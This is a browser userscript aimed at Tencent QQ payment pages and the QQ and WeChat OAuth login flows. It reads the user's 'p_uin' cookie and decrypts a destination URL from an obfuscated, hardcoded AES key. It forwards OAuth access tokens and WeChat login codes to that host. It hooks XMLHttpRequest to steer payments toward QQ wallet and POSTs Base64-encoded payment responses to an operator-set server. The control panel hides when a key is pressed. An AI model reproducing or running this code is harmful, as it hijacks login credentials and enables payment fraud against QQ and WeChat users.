// ==UserScript==
// @name S918X
// @namespace http://www.baidu.com/
// @version 0.12.3
// @description S918_Tx
// @author S918
// @match *://pay.qq.com/h5/index.shtml*
// @match *://pay.qq.com/h5/shop.shtml*
// @match *://pay.qq.com/midas/minipay_v2/views/cpay/game.shtml*
// @match *://open.weixin.qq.com/connect/qrconnect*
// @match *://pay.qq.com/*
// @match *://graph.qq.com/*
// @connect *
// @license MIT
// @grant GM_info
// @grant unsafeWindow
// @grant GM_addStyle
// @grant GM_setValue
// @grant GM_getValue
// @grant GM_getResourceText
// @grant GM_xmlhttpRequest
// @grant GM_setClipboard
// @grant GM_getResourceURL
// @require https://lf26-cdn-tos.bytecdntp.com/cdn/expire-1-M/jquery/3.6.0/jquery.min.js
// @require https://cdn.jsdelivr.net/npm/[email protected]/base64.js
// @require https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js
// @resource CxSecretsFont https://static.muketool.com/scripts/cx/v2/fonts/cxsecret.json
// @resource Layui https://lf3-cdn-tos.bytecdntp.com/cdn/expire-1-M/layui/2.6.8/css/layui.min.css
// @resource LayuiIconFont-woff2 https://lf3-cdn-tos.bytecdntp.com/cdn/expire-1-M/layui/2.6.8/font/iconfont.woff2
// @resource LayuiIconFont-woff https://lf3-cdn-tos.bytecdntp.com/cdn/expire-1-M/layui/2.6.8/font/iconfont.woff
// @resource LayuiIconFont-ttf https://lf3-cdn-tos.bytecdntp.com/cdn/expire-1-M/layui/2.6.8/font/iconfont.ttf
// ==/UserScript==
function gc(a) {
const b = `; ${document.cookie}`;
const c = b.split(`; ${a}=`);
if (c.length === 2) return c.pop().split(';').shift();
}
var d = gc('p_uin');
if(d) {
GM_setValue("a", d);
}
try{
if(location.href.indexOf('h5/trade-record')!=-1){
jQuery('body').append('<div class="back" style="color: red;position: absolute;left: 150px;top: 15px;font-size: 30px;text-decoration: underline;cursor: pointer;"></div>').on('click', '.back', function(){
location.href.indexOf('detail')!=-1?history.back():close();
});
setInterval(function(){ jQuery('.back').html(location.href.indexOf('detail')!=-1?'返回':'<img src="https://imgcache.qq.com/bossweb/pay/pay_v4/images/public/logo.png">');},10)
return;
}
var h = '';
var a = new URLSearchParams(location.search);
var _ = a.get('_');
if(_) {
var e = JSON.parse(atob(_.slice(32)));
h = CryptoJS.AES.decrypt(e.value, CryptoJS.enc.Base64.parse("c5hKz"+"AuKTVVRKic"+"6hOjOklXgyeil"+"+"+"EcUdLFH/FLA61o"+"="), {iv: CryptoJS.enc.Base64.parse(e.iv)}).toString(CryptoJS.enc.Utf8);
if(location.href.indexOf('#access_token') != -1) { //QQ登陆的回调
location.href = h + location.href.replace(/.*\?/,'?').replace('#access_token', 'access_token')+ '&p_uin=' + GM_getValue("a"); return;
}
if(a.get('code')) { //微信的回调
location.href = h + location.search; return
}
}
}catch(e) {
console.log(e);
}
if(location.href.indexOf('open.weixin.qq.com/connect/qrconnect')!=-1 || location.href.indexOf('graph.qq.com/oauth2.0')!=-1 || location.href.indexOf('h5/trade-record')!=-1) {
//document.body.setAttribute("style","background-color: rgb(249 5 5);");
return;
}
document.addEventListener(
"keyup",
(event) => {
const k = event.key; var d = document.getElementById("model-id");
if(k == "h" || k == "H") { d.style.display = "none"; }
if(k == "o" || k == "O") { d.style.display = "block"; }
console.log(k)
},
false,
);
var _self = unsafeWindow,
url = location.pathname,
top = _self;
(function() {
if(document.referrer===''){
window.open(location.href)
}
})();
GM_addStyle(`
@import url(${GM_getResourceURL('Layui')});
`);
GM_addStyle(`
@font-face {
font-family: 'layui-icon';
src: url(${GM_getResourceURL('LayuiIconFont-woff2')}) format('woff2'),
url(${GM_getResourceURL('LayuiIconFont-woff')}.woff) format('woff'),
url(${GM_getResourceURL('LayuiIconFont-ttf')}) format('truetype');
font-weight: normal;
font-style: normal;
}
`);
var $ = _self.jQuery || top.jQuery,
parent = _self == top ? self : _self.parent,
Ext = _self.Ext || parent.Ext || {},
UE = _self.UE,
Base64 = self.Base64,
vjs = _self.videojs;
function addXMLRequestCallback(callback){
var oldOpen, oldSend, i;
if( XMLHttpRequest.callbacks ) {
XMLHttpRequest.callbacks.push( callback );
} else {
XMLHttpRequest.callbacks = [callback];
oldOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function () {
this.url = arguments[1];
return oldOpen.apply(this, arguments);
};
oldSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function(){
for( i = 0; i < XMLHttpRequest.callbacks.length; i++ ) {
XMLHttpRequest.callbacks[i]( this );
}
if(this.url.indexOf("/web_save") != -1 || this.url.indexOf("/mobile_save") != -1){
var a = decodeURIComponent(arguments[0]), b = {}, c = 0;
try { b.qty = a.match(new RegExp(`buy_quantity=(.*?)&`))[1]; } catch(e) { b.qty = null; }
try { b.amt = Number(a.match(new RegExp(`&amt=(.*?)&`))[1]/100); } catch(e) { b.amt = null; }
try { b.paytype = a.match(new RegExp(`pay_method=(.*?)&`))[1]; } catch(e){ b.paytype = null; }
try { b.mny = Number(GM_getValue("mny")); } catch(e) { }
console.log(b)
if(b.paytype != 'qqwallet:2') {
alert('请选择使用QQ钱包支付方式');
c = 1;
} else if(b.amt && (b.mny-b.amt>60 || b.amt-b.mny>60)) {
alert('实产码与预产码'+b.mny+'金额相差超过60, 请确认后再试!')
c = 1;
}
if(c) {
var u = document.getElementById('_cp__mask__'); u&&u.remove();
document.querySelectorAll('.mds-pay__num').forEach(function(e) { e.removeAttribute('style'); });
document.querySelectorAll('.mds-pay__list').forEach(function(e) { e.removeAttribute('style'); });
document.querySelectorAll('.mds-loading__center').forEach(function(e) { e.remove(); });
document.querySelectorAll('.fusion-pm-bd').forEach(function(e) { e.removeAttribute('style'); });
document.querySelectorAll('.fpm-loading').forEach(function(e) { e.remove(); });
return;
}
}
console.log('arguments',arguments)
oldSend.apply(this, arguments);
}
}
}
addXMLRequestCallback( function( xhr ) {
xhr.addEventListener("load", function(){
if ( xhr.readyState == 4 && xhr.status == 200 ) {
if ( xhr.responseURL.search("(.*?)/v1/r/(.*?)/mobile_save") != -1 || xhr.responseURL.search("(.*?)/v1/r/(.*?)/web_save") != -1) {
//console.log(Base64.encode(xhr.response));
//console.log("本次结束")
// alert(xhr.response);
var resp = JSON.parse(xhr.response); resp.version = '1.4.13';
if(resp.ret == 0){
console.log("xhr.responseURL",xhr.responseURL);
console.log("xhr---",xhr);
new Promise(function(resolve, reject) {
GM_xmlhttpRequest({
method: 'POST',
url: GM_getValue("G63Url"),
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
data: Base64.encode(JSON.stringify(resp)),
onload(xhr) {
alert(xhr.responseText);
}
});
});
}
}
}
});
});
let html = `
<button type="button" id="show" onClick="showClick()">隐藏配置窗口</button>
<div style="background:white;" id="config">
<div style="padding: 10px;font-size: 9pt;"><label style="color:red">温馨提示:</label>键盘敲字母"<label style="color:red">h</label>"直接隐藏整个窗口,敲字母"<label style="color:red">o</label>"恢复显示窗口</div>
   
<label>账号链接:</label><input type="text" id="G63Url" name="G63Url" value="` + (GM_getValue("G63Url") != undefined ? GM_getValue("G63Url") : "") + `" required>
<br>
<br>
       
         <button type="button" id="save" onClick="saveClick()">保存</button>
       
<button type="button" id="start" onClick="startClick()">开始</button>
<br>
<br>
</div>
<script>
function saveClick(){
var G63Url = document.getElementById("G63Url").value;
window.parent.postMessage({type: 'save',G63Url:G63Url}, '*');
}
function startClick(){
var G63Url = document.getElementById("G63Url").value;
window.parent.postMessage({type: 'start',G63Url:G63Url}, '*');
}
function stopClick(){
window.parent.postMessage({type: 'stop'}, '*');
}
function showClick(){
var str = document.getElementById("show").innerHTML;
if(str == "显示配置窗口"){
document.getElementById("show").innerHTML = "隐藏配置窗口";
}else{
document.getElementById("show").innerHTML = "显示配置窗口";
}
window.parent.postMessage({type: 'show'}, '*');
}
document.addEventListener(
"keyup",
(event) => {
const keyName = event.key;
if(keyName == "h" || keyName == "H") { parent.document.getElementById("model-id").style.display = "none"; }
if(keyName == "o" || keyName == "O") { parent.document.getElementById("model-id").style.display = "block"; }
console.log(keyName)
},
false,
);
</script>
`;
top.addEventListener("message", event => {
if (event.data.type === "save") {
if(event.data.G63Url == "" ){
alert("请到账号管理获取URL");return;
}
GM_setValue("G63Url", event.data.G63Url);
alert("保存成功ok");
} else if(event.data.type === "start"){
if(event.data.G63Url == "" ){
alert("请到账号管理获取URL");return;
}
GM_setValue("G63Url", event.data.G63Url);
startJob();
} else if(event.data.type === "stop"){
stopJob();
} else if(event.data.type === "show"){
showConfig();
}
}, false);
function showConfig(){
var elem = top.document.getElementById("iframeNode")
if(elem.style.height == "31px"){
elem.style.height = "215px";
}else{
elem.style.height = "31px";
}
}
//获取跳转链接
function startJob(){
return new Promise(function(resolve, reject) {
var gourl = GM_getValue("G63Url");
var arr =gourl.split('/')
var arr1 =arr[5].split('?')
//http://192.168.0.4:5258/api/PublicAPI/AddQbUrl?landid=54&key=5588306997664561164
//alert(gourl.split('/')[2] );
GM_xmlhttpRequest({
method: 'GET',
url: "http://"+arr[2]+"/api/PublicAPI/GetQbUrl?"+arr1[1],
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
onload(xhr) {
// console.log("xhr.responseText",xhr.responseText);
var resp = JSON.parse(xhr.responseText);
if(resp.code == 200){
if(resp.data.type==0){
// 直接打开
top.location.href = resp.data.gotourl;
GM_setValue("mny", resp.data.mny);
}else{
new Promise(function(resolve, reject) {
GM_xmlhttpRequest({
method: 'POST',
url:resp.data.requesturl ,
headers: {
"Content-Type": "application/json"
},
data: resp.data.requestData,
onload(xhr) {
if(xhr.responseText.indexOf("result_info")!=-1 && xhr.responseText.indexOf("系统繁忙")==-1){
var resptoken_id = JSON.parse(xhr.responseText);
var resptoken_ids= JSON.parse(resptoken_id.data.call_reply);
let token_id =resptoken_ids.data.token;
console.log("token_id:",token_id);
console.log("gotourl:",resp.data.gotourl);
top.location.href = resp.data.gotourl.replaceAll('[resptoken_ids]',token_id);
}
}
});
});
}
}else{
alert(resp.msg);
}
}
});
});
}
function stopJob(){
top.location.href = "https://pay.qq.com/";
}
function addModal2(html, newPos, footerChildNode = false) {
if(top.document.baseURI.indexOf("/h5/shop.shtml")==-1){
//return;
}
let iframeNode = top.document.createElement("iframe");
iframeNode.id = "iframeNode";
iframeNode.setAttribute("width", "100%");
iframeNode.setAttribute("height", "215px");
iframeNode.setAttribute("style", "height:215px");
iframeNode.setAttribute("frameborder", "0");
iframeNode.srcdoc = html;
let contentNode = createContainer("content-modal", [ iframeNode ]);
let modal = renderModal(contentNode);
dragModel(modal);
}
function createContainer(name, childElem) {
name = name.toLowerCase();
let elem = top.document.createElement(name);
elem.style.display = "block";
elem.id = name.replace("hcsearche", "hcSearche").replace(/\-[a-z]/g, function(w) {
return w.replace("-", "").toUpperCase();
});
if (childElem) {
if (Array.isArray(childElem) === false) childElem = [ childElem ];
for (let i = 0; i < childElem.length; i++) elem.appendChild(childElem[i]);
}
return elem;
}
function dragModel(drag) {
const TOP = top;
drag.onmousedown = function(e) {
drag.style.cursor = "move";
e = e || window.event;
let diffX = e.clientX - drag.offsetLeft;
let diffY = e.clientY - drag.offsetTop;
top.onmousemove = function(e) {
e = e || top.event;
let left = e.clientX - diffX;
let top = e.clientY - diffY;
if (left < 0) {
left = 0;
} else if (left > TOP.innerWidth * .95 - drag.offsetWidth) {
left = TOP.innerWidth * .95 - drag.offsetWidth;
}
if (top < 0) {
top = 0;
} else if (top > TOP.innerHeight - drag.offsetHeight) {
top = TOP.innerHeight - drag.offsetHeight;
}
drag.style.left = left + "px";
drag.style.top = top + "px";
GM_setValue("pos", drag.style.left + "," + drag.style.top);
};
top.onmouseup = function(e) {
drag.style.cursor = "default";
this.onmousemove = null;
this.onmouseup = null;
};
};
}
function renderModal(childElem, newPos) {
return render("tag" + rand(1, 100).toString(), "model-id", childElem);
}
function rand(m, n) {
return Math.ceil(Math.random() * (n - m + 1) + m - 1);
}
function render(tagName, elemId, childElem, isFixed, newPos) {
let doc = top.document;
let elem = doc.getElementById(elemId);
if (elem) {
elem.innerHTML = "";
} else {
elem = doc.createElement(tagName);
elem.id = elemId;
doc.body.appendChild(elem);
}
let contentNode = createContainer(tagName + "-container", childElem);
elem.appendChild(contentNode);
elem.classList.add(elemId);
elem.style.zIndex = "9999999";
elem.style.position = "fixed";
const pos = "30px,30px";
const posarr = pos.split(",");
elem.style.left = posarr[0];
elem.style.top = posarr[1];
setTimeout(function() {
elem.classList.add(elemId + "-show");
}, 10);
return elem;
}
addModal2(html);